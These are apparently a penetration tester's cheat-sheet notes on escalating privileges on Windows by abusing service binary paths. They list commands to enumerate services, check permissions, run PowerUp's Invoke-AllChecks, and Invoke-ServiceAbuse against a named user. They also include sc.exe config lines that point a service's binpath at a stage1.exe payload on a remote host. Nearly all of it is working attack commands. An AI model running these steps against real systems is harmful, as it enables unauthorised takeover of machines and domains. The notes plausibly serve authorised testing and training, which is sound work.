Binary Paths

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

View permissions

icacls "C:\xampp\apache\bin\mysqld.exe"

sc.exe sdshow <service>

Mask	Permissions
F	Full access
M	Modify access
RX	Read and execute access
R	Read-only access
W	Write-only access

Run PowerUp on machine

. .\PowerUp.ps1
Invoke-AllChecks

sc.exe config daclsvc binpath= "\\dcorp-workstation5\stage1.exe"
sc.exe config daclsvc binpath= "\\10.0.0.89\stage1.exe"

Invoke-ServiceAbuse -Name 'Service' -UserName dcorp\liz -verbose